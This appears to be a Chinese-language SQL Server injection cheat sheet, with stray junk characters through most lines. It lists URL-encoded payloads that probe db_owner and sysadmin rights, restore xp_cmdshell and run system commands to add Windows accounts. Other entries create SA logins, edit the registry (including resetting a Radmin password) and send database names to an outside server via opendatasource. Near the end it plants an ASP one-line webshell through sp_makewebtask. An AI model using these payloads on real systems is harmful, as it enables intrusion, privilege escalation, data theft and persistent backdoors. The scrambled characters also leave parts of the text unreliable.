//看看是什么权限的
2 x: f" L; D F, `and 1=(Select IS_MEMBER('db_owner'))
8 j8 p) X( b$ \5 Y9 BAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--- F5 J$ T& G6 k5 V9 p L# r+ S' k
/ j) x& d& T3 c, J
//检测是否有读取某数据库的权限
" Y# J% H, ~# X! Z/ aand 1= (Select HAS_DBACCESS('master'))
9 ?2 K$ C2 p; UAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
' g h8 ?+ S, \) q" i5 [
& T$ S1 o. z3 b5 b. u& u8 z- E6 T* k
# y! O0 c* {) J. ~数字类型& ~1 x! \$ k6 X
and char(124)%2Buser%2Bchar(124)=0
& S; T( {/ g5 e* R' l' O' ?' f' \4 x% }. ?+ `( [& \$ U/ q
字符类型
: u( P; \5 t( b4 {( q5 t+ F( r' and char(124)%2Buser%2Bchar(124)=0 and ''='( S) W1 _' j. ~) }" h) A9 b: r
# j# t: s9 z# T5 m- Z, Y4 L搜索类型" L* ], s: C3 E9 J% v f
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
* f) c' l1 I9 f6 Y0 Z# h
5 E. P1 C1 M2 H/ c! `/ {; f爆用户名
: j. p/ _) O9 ]+ {and user>0
( K# [; m4 p; }; C+ R: R( [( L' and user>0 and ''='
& M% ^% g( R- @' H& R8 V7 ~
$ R0 U: b* C% W; f0 D5 Y检测是否为SA权限0 w5 J. f2 Z( j
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
; z3 b- R7 I8 q# U3 JAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
$ d& j3 I3 m$ H" X0 c, i7 j
0 W. d1 K1 Y: Y: K: R3 V检测是不是MSSQL数据库9 O: K3 P6 ] e: R3 y3 y
and exists (select * from sysobjects);--
3 G2 P) H1 l3 l, s( Q
& S- x1 y! C2 R; H4 O检测是否支持多行
" H2 g, a' z- q( C;declare @d int;--
( l; J7 ^9 E4 |; f6 Z. A+ Z) J) X
恢复 xp_cmdshell
% y% Z f" h: Q) C w! M8 b;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';-- f5 n6 p3 x; Z5 z
, b- w v$ f# H$ W! F
" ~$ h, T7 O5 I+ |( Aselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
& |( k) M2 f: g1 p. p
4 r& r; Y3 X- i/ ^' v6 O//-----------------------: O8 Z2 f! D/ h4 C
// 执行命令2 [5 T6 q% z& E" t# e9 ^" D/ e
//-----------------------
6 E7 w5 x# s, K3 Z0 ^首先开启沙盘模式:) k3 q' ^) G6 M8 D* R/ R/ n% ]6 b
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 n* [/ w" ^' f
7 z% Y+ I$ b g9 n/ ~1 _; k: ]7 p" w( M. E然后利用jet.oledb执行系统命令
/ u) ~+ j$ N& nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
3 A# ?( g+ g, p0 f1 X4 g
, E4 k/ y1 }1 \. e6 u, ?执行命令 ^" m# A4 U2 Y- w+ F
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
, E% C4 c7 T9 }1 [+ G6 `/ h% {2 P2 n& s
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
/ U; m2 ~- i& e% C- D$ d1 `; b! {8 _6 _+ S0 d- ^
判断xp_cmdshell扩展存储过程是否存在:. ?& e% M& r# h6 ]: U3 ?
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'): h: }- x& a/ X+ r: l/ I o* X3 E8 ]
* F5 X( [' Z4 T, K* n3 ~写注册表0 D" \- o* B/ ^/ v" c$ y
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1$ k. H+ l; w( ~4 I9 z# S
) x9 H5 [' ~1 K% U/ }$ P W$ p& m! {REG_SZ# T6 ]3 G( Y+ ~$ {" y$ c
+ d2 o( k$ ] ~, s6 {. c
读注册表
. `4 U& h; |) ^2 Y4 jexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'$ n5 O# k5 V7 r, n
0 }! H" O# G& j# r2 R( z4 f" u0 c读取目录内容! u: e Z, s" l) w4 u& x% E9 C4 E( |
exec master..xp_dirtree 'c:\winnt\system32\',1,1
( s$ }% l) X" k+ c1 d6 L0 ?
3 a7 C& t5 A' s) z
* o9 _- b$ {" }+ n9 E! d2 `数据库备份6 g' \6 q0 T* s
backup database pubs to disk = 'c:\123.bak'
* P C. z" B ^5 L3 K! x4 k+ z
1 p0 B& t$ z$ h/ l( r//爆出长度6 A& X3 c- c# u6 b
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
2 r! e. @6 B* `) q8 L( t |3 W/ q, x9 t4 ]9 O( |1 \2 r1 a7 ?3 |9 ^1 |
' ?! g% j: \. W: W- r7 c
' O0 |1 h: M/ t& m! g; H. K更改sa口令方法:用sql综合利用工具连接后,执行命令:
3 Y8 |: o' f0 Cexec sp_password NULL,'新密码','sa'
4 M* z4 B3 f4 Q4 D: ~- ?% N$ a/ W5 x9 \, A
添加和删除一个SA权限的用户test:
9 @9 N. P9 }/ L! g- l' y$ D5 dexec master.dbo.sp_addlogin test,9530772
- x0 q b; r* b0 A* w9 Uexec master.dbo.sp_addsrvrolemember test,sysadmin
" X+ H/ u4 D( x1 I% S. ^( J G1 a
删除扩展存储过过程xp_cmdshell的语句:' B4 o" [. P! J$ X
exec sp_dropextendedproc 'xp_cmdshell' s! E9 k1 F# A* z! |2 N- E+ m/ q
/ w' u3 V3 K) P6 ~2 f$ T添加扩展存储过过程0 r1 ~/ l0 y b1 N, l* ~
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' F- n' S% b1 F0 b* n
GRANT exec On xp_proxiedadata TO public- S: Q6 m/ O* h3 ?
" c# x. H, ^) n; [
/ Y, c! A+ B3 s1 l" q( M) C停掉或激活某个服务。
& b- V! Y! S, b% B, W" `9 T; r- L0 H
exec master..xp_servicecontrol 'stop','schedule', X. M; \& ?6 y. Z+ \$ S: [
exec master..xp_servicecontrol 'start','schedule'& M, L2 `6 T) i/ d
5 p2 w4 c# a ~( m& T
dbo.xp_subdirs: X. B; _6 z+ \% K5 ?' j5 |9 F
8 |: f7 O* G+ L3 A- o只列某个目录下的子目录。7 Q8 z3 \) V( z0 m8 O0 q: Z
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'* |: j0 p- u+ T' c- o
" b1 z' j& S5 x/ P* U
dbo.xp_makecab! Z4 k$ R3 a. f8 X/ A9 [
# a; t) k+ o) R. z/ V
将目标多个档案压缩到某个目标档案之内。
7 ]: k! I' f3 M$ R! C% Z# p所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。3 M+ f. k" } R2 E
5 k9 _- W: K: i" ^; _
dbo.xp_makecab1 Y y( X- j6 `% H3 y* a2 h
'c:\test.cab','mszip',1,
: x& E% |! g$ A( ^$ ^'C:\Inetpub\wwwroot\SQLInject\login.asp',
' i( y! D& r( w3 b'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'* v5 E F% a' U; V
/ Q/ {; u& ^& b# J1 w- b
xp_terminate_process! [- J- q4 e+ N7 ]
- j) W* I2 e3 M+ j
停掉某个执行中的程序,但赋予的参数是 Process ID。
2 [ S* r1 d$ M3 Y9 Y d; x利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID3 l' C9 Z+ U0 t
" k/ j. u& [7 t) h: F
xp_terminate_process 2484- Q' \7 T9 w. j# \2 R& f) K
( L6 a" `5 u2 X( {$ Y; W, P9 V4 C
xp_unpackcab
8 e5 O8 |/ d3 v6 E4 t/ K+ C
7 g) W5 d4 R! `: P解开压缩档。
) ~0 V9 j/ Z# X
6 | U* w: \( ~- _xp_unpackcab 'c:\test.cab','c:\temp',18 B1 |, Y0 O% |: O! x T# U5 X4 g
+ M6 e6 R: k# L0 u z% R, t8 I4 Q$ H
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12344 K, s$ `+ v- ^
# T) v9 i- b( C* Z8 \1 S! s: R; t/ o
create database lcx;
, o- a- y: e3 G1 w6 RCreate TABLE ku(name nvarchar(256) null);
4 H' v3 Y4 n% v' @' I1 DCreate TABLE biao(id int NULL,name nvarchar(256) null);: \5 R2 D0 O) T
% o, V9 T4 L! t/ y9 A//得到数据库名. @3 D6 d( h/ S0 y* ~4 \6 I% N4 D5 A
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
; ?6 k9 J% F0 [9 A0 b+ y2 ]4 M: w- }
8 @8 f/ B; v6 ~# b( u) g5 P# }//在Master中创建表,看看权限怎样' ]# x5 i6 E4 o9 a, f3 H
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
2 i8 v# u* R& A% u: `) N! \2 d# E5 b/ M. c
用 sp_makewebtask直接在web目录里写入一句话马:7 T" a7 |3 d; I2 y
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
A d# Z* F. H2 V" `* q3 [3 ^. I# p$ Z. [
//更新表内容& g) j$ N. X3 z
Update films SET kind = 'Dramatic' Where id = 1235 f6 J0 H. V6 x k$ z8 Q
/ \! ^$ O" G+ M8 P1 }//删除内容
1 q( O7 l" N$ I! H8 wdelete from table_name where Stockid = 3 |